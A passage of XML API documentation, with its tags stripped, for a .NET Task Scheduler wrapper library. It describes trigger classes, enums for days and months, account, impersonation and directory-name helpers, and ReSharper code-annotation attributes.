the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence 